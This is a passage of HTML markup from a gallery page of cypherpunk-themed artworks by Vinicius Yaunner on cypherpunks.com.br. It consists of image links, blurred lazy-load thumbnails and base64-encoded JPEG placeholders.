src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAADwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOXGrrPprzu0olRh8pO4MD6fSqSaqudwl2npg8GtDUdFkt715LZYms5kPk/vAqg4zxk1j3/h7VLe0&amp;#43;1T2xCqcMyurZ5wDwa7G59htM6ezW0t9JW0Et1PGw3sMHgkdB&amp;#43;VN1TWIZ9BeBreZGkcbW42gA5x1&amp;#43;nasWTXI5RHmJkEa42p8wPb&amp;#43;VVLu9S6ZQoZEXoNuP6mrVSyskLnZ//Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/ocean-pc_hu8fd3e54ac183addea799d449191ae68b_3546385_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/nsa-world.png"
class="galleryImg"
>
&lt;img
width="186" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABoAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APO9OvIgglcg8cj3p2oapBdxmGOMFtp/T/61V7bw9vx5t1gk4Kop/nV6LQrW2kAxIWK5zI4xj6CvetiZRS5Un6mXtopWTM3TtOju7bzVTzGDkOpOCcDOFHeodQtBYyArlN7HET9cDjP0Na6aJbvvKiTjup/qelJd&amp;#43;HbiUrLLKzBUCpudTwOnTFcMsFVirfqN1oy1tY2Lax1D7T5dvDL5gPKrx0oYS6dOy3Nu6SHOVccH/P1r1icCMRhPlBHbiuF14lrm4LHJIbrXsU67qPY5XCxjf2whBb7Gqk8bk45/HNSLNaeWvnLIgkJUKx3dMdwKzY/ldivBAGCKfISb&amp;#43;NScjzBx&amp;#43;VayghRZ/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/nsa-world_hufc9874807c5593b059fc32135c3ace17_1059941_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/manifesto%20cypherpunk.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APPra5tGjiWS1hV4VXLZ5bnuBUrpBJECkMLRhwAcYIOcnJH5VSvdKl88NHsKFRjDe3/66sW0b2VnILgZHmE/KQe3/wBavVdnsdbkrW5fmRXMEZhcrEqsAMEHpzVDyW/vVemu45IQFGc/7PXH&amp;#43;RVbzV/u/pScZR0ZFm9jdjhd40HT5eyZz/nFSTQFIJmfIHlkrlenB/8ArVdsv7Ka1jkkkulZUVWRFGWOASckkYzu9OMe&amp;#43;ZTNpBaMOL0KwIddyYHB&amp;#43;UZBzzjk471MajjNO2wnLU5EZCtG5Bcc8DtxTdp/yK6i7h0hbd3WG4LsBtJCL3HXHtn1rN2Wf/PKb/vsf4V0V66rT5kn8y4s/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/manifesto%20cypherpunk_hu333657175ca815be8e07aef97b8f3caa_4565879_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/lain-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APJAucfWpvIyxCioQ/Iq9BOyhWUAOj7lOP8AOeldMUmWiOK22S4lXADDORRKsZchenapdQvZbyVp52Blc5ZgoUHjHQcVRL46k5qm0tEMjSrCdqrpVhO31rOJKFf7wqG6UDGABUzfeFQ3fQVUtmNn/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/lain-cypher_hu59418bac7357fad067d6f14499a733f8_951988_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/free-assange.jpg"
class="galleryImg"
>
&lt;img
width="226" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABUAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APGa9U&amp;#43;HGl&amp;#43;G9Y8J3VvqqWBvGmKwiUIrk4BUbvvckH8BxXlddr8NNWu7DU7m2tI43edA482MMqlM4bqCMBj09aAGRaZbCDxOum6Yt3FG6i2kkePMCbZHbG45YhFJ&amp;#43;UZ&amp;#43;UnjFc/4hhht9Zlit4xHGqR4UIU/gXPB5zmuh0XU5p9K8UTzaiyTzKG8uLYqT5SVTkEdADwB6jvgjC8URpFr8yRsSFSMZKMp&amp;#43;4vZuaAMmu78L3NhD4G1Ay6astzmYLOZSMDYMfL0OMmuErr9A/wCRMv8A/el/9AWgDG0nX5NK0rU9PWBZF1FFVnJwUwGHHH&amp;#43;1&amp;#43;lU9TvjqV/JdmMRlwo2hicYUDqfpVWigD//Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/free-assange_hu4cee410a46b8e509a98a0505f0941de1_96877_300x150_fit_q85_lanczos.jpg"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/flower-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APO5HUOWQfu1YfITjI7fp/WtPUrmKWGFrSFU3EujhSHQAtxxx/8AqrMdEnQPECTn5gTWm1ip02AAOlx5WWAB&amp;#43;UbmPORjHTv619K&amp;#43;WO53tRg3d7lFkkktopX5UkrxxgnPX8qikRoJcGAxuSNpzjp/9ep2k8ry43Pm&amp;#43;VjAbjHX/EnH0qzrN2rCCNUAjB8xXzw2R6fWs5SfMlY56s2qija9zIt/9ZjsTyPXmuhtwI7JWQbWULtI4IyTnFc9b/60fX&amp;#43;tdDF/yD/&amp;#43;&amp;#43;P5mnU2Lr/wv68jnRzMc&amp;#43;pq3fk/ZLYZ4x/Sqg/1x&amp;#43;pq1ff8AHpb/AEH8qcviOep8aP/Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/flower-cypher_hu6577747c4b5aea3b529e73d3b685788f_2255870_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/dream%20of%20a%20night.png"
class="galleryImg"
>
&lt;img
width="202" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABgAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APN10&amp;#43;TaW&amp;#43;UAepqSLTWeMM8sSZ7FuahG7uT&amp;#43;dKwwO9enp2HYfJpwHSaM&amp;#43;24f41WazQD/AFi/mP8AGng&amp;#43;5qJ87jmoly72A3v&amp;#43;Eyv3h8traxdeP&amp;#43;XZQePfFWrHx5c2lskMui6Ncbery2gLN9TmuTTpTu1Zkeyha1jrp/HVtOmH8M6Sp9Ut0H/sprPfxRbMSTo1n/35i/8AiKwDUZpN2F7GH9Nn/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/dream%20of%20a%20night_hu15ee22589a1e3e77a23b1e0c6ae423b6_1215578_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/destroy-vigilance.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/APH4/LUMZIt4IwPmxipYzbSMoMJQEjnfnjvUSj5SCRkdj3q9o2nT6hqNvbQRq7ythVYjHrz7VSV2Wo3ZXle2UFRASAeu/Gaqvtd/3aFR/dzmu&amp;#43;&amp;#43;JHhOTRr6zYeX&amp;#43;9twZBHjCsOOPbH8q4U27LzuXpnrTlGzHOFnoPi&amp;#43;/W7pX7u4gdPlYydRwehrCj&amp;#43;/W5pn&amp;#43;ut/&amp;#43;un9DWtLc3o7lvWXadWkmYyOGK7nOTgdBn0rlW6mup1T/AFL/AO&amp;#43;3865ZutFXcK&amp;#43;5/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/destroy-vigilance_hu19e1005544bd20b9d097ec06a11699ca_1578568_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/cypherpunksbrasil.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOKitLm4WSdSdiswGZNoGCR0yM1nC5c5HzD5sf6xv8a2rFImtJfMt97b32v5u3&amp;#43;I9u9Y9rFB50fnZPnSFQQM7fw&amp;#43;tAEtpO7XsSNkA543k9j2J/zitb5PQflWPaIn262ljGwSbsoTnBANbHPtQBTiSY20zJCzAO/zZwPvH3rKhuZIXIXYwD7grgnB9avSGWNAsfmHe0m9fKf5ecjkHBzVMWLkoxLqWBLfum&amp;#43;U9h070APspnm1SJnI4yAF6Dg1uVi2MEiXcbujjHqpA5Bzz&amp;#43;VbG5fb86AP/9k="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/cypherpunksbrasil_hu7000d1aa8b5dbe56a4a180116070ffb0_4289294_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/cypher-matte.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOSqOeYQRiRlyNwU84xmpKZNClxCY3Zl5yCBn8xXfK9tDzqfLzLm2CKZZgzKPlVyuc5zinjrTIofJDfvTIXYsSU29fxNPHWiN7ahU5ed8uwtFFFMzCiiigD/2Q=="
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/cypher-matte_hu93c460493e09e82b42bf96e148fdb77f_362306_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/crypto-manifesto-poster.png"
class="galleryImg"
>
&lt;img
width="106" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIACAAFwMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/AOPFzqFwAXuPMGflVz0qQPOVPyKD/vHj9KgiW42BgYyAP896sL5rJnauR1wa0QECyXaSBi6hRxx61L9ruP736UjJKDl3TB5IHH9aTaPX/wAep2GRxHbGAsgB9P8AJqYPj5i4APeoomt1XDLub&amp;#43;95Z/wp&amp;#43;6BeTGPptzRYQNIrYywY/X/69JlPf86QtBuAjG3n/nmeaXI/vf8AjpobA//Z"
class="lazy"
data-src="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/crypto-manifesto-poster_hu2e7bf927a5b20ad11fb8ed61843966cc_3128484_300x150_fit_q85_lanczos_3.png"
>
&lt;/a>
&lt;/div>
&lt;div>
&lt;a href="https://cypherpunks.com.br/artes/Artistas/Vinicius%20Yaunner/come-to-cypher.png"
class="galleryImg"
>
&lt;img
width="267" height="150"
style="filter: blur(25px);"
src="data:image/jpeg;base64,/9j/2wCEAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4&amp;#43;JS5ESUM8SDc9PjsBCgsLDg0OHBAQHDsoIig7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7O//AABEIABIAIAMBIgACEQEDEQH/xAGiAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgsQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29/j5&amp;#43;gEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoLEQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgUQpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2dri4&amp;#43;Tl5ufo6ery8/T19vf4&amp;#43;fr/2gAMAwEAAhEDEQA/API1x1PPNSFdzYAyp6HFNQc4xkGt7S9B